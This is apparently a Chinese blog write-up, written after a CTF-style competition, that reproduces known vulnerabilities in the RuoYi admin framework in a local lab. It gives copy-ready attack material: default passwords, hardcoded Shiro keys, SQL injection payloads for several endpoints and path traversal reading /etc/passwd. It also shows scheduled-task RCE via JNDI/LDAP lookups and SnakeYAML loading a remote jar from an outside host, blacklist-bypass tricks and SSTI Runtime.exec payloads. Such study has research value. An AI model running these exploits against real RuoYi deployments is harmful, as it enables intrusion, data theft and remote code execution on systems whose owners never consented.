前言

参加完今年的御网杯线下赛,在渗透部分考到的是一个若依框架被打蒙了,趁着假期系统总结一下。

简介

Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。

ruoyi历史漏洞主要包括shiro反序列化,ssti,sql注入,任意文件下载,定时任务远程rce等等,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。

环境搭建

首先获取一下源代码

1
git clone https://gitee.com/y_project/RuoYi

然后切换一下版本

1
git checkout v4.5.1

切换完之后需要修改一下配置文件

image-20260714151154588

接下来要配置数据库,这里使用phpstudy起的mysql服务,需要新建一个数据库ry,然后数据库导入根目录下sql文件夹的两个sql文件,

image-20260714151358464

导入后如图

image-20260714151451053

修改配置文件application-druid.yml

image-20260714151549095

这里修改用户名和密码。

配置好之后启动即可

image-20260714151717241

漏洞复现

弱口令

在登陆界面存在弱口令,常见的用户名有admin,rouyi,druid,弱口令密码:admin,admin123,druid,

shiro反序列化漏洞

影响版本为Ruoyi<V-4.6.2

在配置文件application中密钥

image-20260714154509551

Rouyi-4.2版本使用的是shiro-1.4.2,在这个版本和版本之后都勾选AES GCM模式,RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用

RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

image-20260714174144293

sql注入

注入点1:system/role/list接口

先看一下关键代码

image-20260715203835403

这里出现了两种符#{}还有${},两者之间存在差异

**#{}**是预编译占位符,将参数与sql语句分开传输,数据库只会把传入内容当成普通值,不会解析 SQL 语法。

**${}**是字符串直接拼接,不做任何转义直接,直接把变量拼接进sql语句。所有就要控制params.dataScope,

查询参数类型是SysRole 对象,对象有private Map<String,Object> params,params类型是Map,接下看一下mapper层

image-20260715213948685

继续跟进一下进入服务层

image-20260715214055695

角色管理业务的实现层,承接Controller,调用Mapper,继续跟进查看Controller层

image-20260716095500425

整个查询流程为前端发起请求,接口POST/system/role/list,Controller接受并封装参数,SysRole role 接收所有前端参数,roleName、status → 赋值给 SysRole 自身成员变量,beginTime、endTime 实体无对应属性 → 自动存入父类BaseEntityparams Map

然后将封装好所有查询条件的role对象,传给Service层,执行

1
2
3
4
5
6
@Override
@DataScope(deptAlias = "d")
public List<SysRole> selectRoleList(SysRole role)
{
return roleMapper.selectRoleList(role);
}

先获取用户信息,根据用户权限拼接sql过滤片段,进入Mapper层进行动态查询,

image-20260716102058571

抓包查看参数

image-20260716102120638

添加参数

1
&params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

image-20260716104135210

注入点2: /system/role/export接口

image-20260716104752658

image-20260716104807627

注入点3:system/user/list

在SysUerMapper.xml文件中,

image-20260716105011757

image-20260716105208107

注入点4:system/user/export

image-20260716105333582

注入点5:/system/dept/list

注入点6:/system/role/authUser/allocatedList接口

image-20260716111004767

image-20260716111030211

注入点7:/role/authUser/unallocatedList

注入点8:system/dept/edit

image-20260716112700074

payload

1
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

image-20260716113704278

任意文件读取(CNVD-2021-01931)

登录后台后可以读取服务器上的任意文件。影响版本:RuoYi<4.5.1

poc:

1
2
/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini

后台定时任务RCE

ruoyi版本<=v4.7.8

若依后台计划任务处,对传入的”调用字符串”没有任何校验,所以攻击者可以通过调用任意类,方法,触发反射进行rce。实现rce是通过定时任务+sql注入实现的。下面结合代码分析

ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

image-20260722211821292

在添加新的定时任务之后会进行判断,对调用的字符串进行黑名单判断,通过之后会调用

1
return toAjax(jobService.insertJob(job));

跟进一下

image-20260722212308523

接受前端传来的参数,并把任务改为暂停状态。写入数据到sys_job表中,数据库写入成功才会Quartz中创该定时任务。

写入数据库之后再创建定时任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException
{
Class<? extends Job> jobClass = getQuartzJobClass(job);
// 构建job信息
Long jobId = job.getJobId();
String jobGroup = job.getJobGroup();
JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build();

// 表达式调度构建器
CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression());
cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder);

// 按新的cronExpression表达式构建一个新的trigger
CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup))
.withSchedule(cronScheduleBuilder).build();

// 放入参数,运行时的方法可以获取
jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job);

// 判断是否存在
if (scheduler.checkExists(getJobKey(jobId, jobGroup)))
{
// 防止创建时存在数据问题 先移除,然后在执行创建操作
scheduler.deleteJob(getJobKey(jobId, jobGroup));
}

// 判断任务是否过期
if (StringUtils.isNotNull(CronUtils.getNextExecution(job.getCronExpression())))
{
// 执行调度任务
scheduler.scheduleJob(jobDetail, trigger);
}

// 暂停任务
if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue()))
{
scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup));
}
}

创建定时任务之后,进入到定时任务运行时的逻辑

image-20260722214647519

进入invokeMethod方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);

if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
invokeMethod(bean, methodName, methodParams);
}
}

/**
* 调用任务方法
*
* @param bean 目标对象
* @param methodName 方法名称
* @param methodParams 方法参数
*/
private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams)
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException,
InvocationTargetException
{
if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0)
{
Method method = bean.getClass().getMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));
}
else
{
Method method = bean.getClass().getMethod(methodName);
method.invoke(bean);
}
}

解析定时任务配置字符串invokeTarget,通过反射调用方法,并且拥有两种模式:

1.Spring Bean模式,从Spring容器中获取Bean执行

2.全类名模式,反射new对象执行无参构造实例

创建后的定时任务信息储存在sys_job表中,结合一下在v4.7.5版本在/tool/gen/createTable接口处存在sql注入

image-20260723104002690

image-20260723104503109

genTableService的实现类GenTableServiceImpl中有

image-20260723104633361

Mapper语句

image-20260723105110086

这里就存在漏洞,结合上述分析,GenTableServiceImpl 是 bean 对象,Ruoyi 内置定时任务 sys_job 模块支持反射调用 Spring Bean

那么就可以直接通过

1
genTableServiceImpl.createTable(sql)

执行sql语句。通过sql注入恶意语句修改定时任务从而实现rce。

首先使用JNDI-Injection-Exploit攻击先开启一下相关的ldap服务,

1
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 192.168.100.128

image-20260726135213049

1
2
javax.naming.InitialContext.lookup('ldap://192.168.100.128:1389/ups1ic)

这个payload会触发黑名单,使用十六进制编码绕过

1
6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e3130302e3132383a313338392f75707331696329

最终就是

1
2
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e3130302e3132383a313338392f75707331696329 WHERE job_id = 1;')

image-20260726135332306

运行之后

image-20260726135544604

运行任务即可触发。

ruoyi版本<v4.6.2

若依 snakeyaml 反序列化漏洞注入内存马

poc:https://github.com/lz2y/yaml-payload-for-ruoyi

把jar放到系统可以访问的地方,在定时任务创建新的定时任务,再立即执行一次即可

1
2
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.100.128:7777/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]')

image-20260726172001784

rce:?cmd=dir

image-20260727193602857

4.6.2<=ruoyi版本<v4.7.2

采用了黑名单限制了需要调用的字符串,ldap,http,rmi

绕过也很简单只需要在屏蔽协议上接上单引号即可

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p://192.168.100.128:7777/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]')

image-20260727200957968

任意文件下载漏洞

4.7.6及以下版本

首先添加一个定时任务

image-20260726160022187

1
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=

然后请求下载即可

1
/common/download/resource?resource=xxxxxx

image-20260726155516544

SSTI模板注入

版本<=v4.7.1

image-20260726162255345

接口/monitor/cache/getkeys

image-20260726162212378

payload

1
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

剩下的接口payload一致

接口/monitor/cache/getName

接口/monitor/cache/getValue

接口/demo/form/localrefresh/task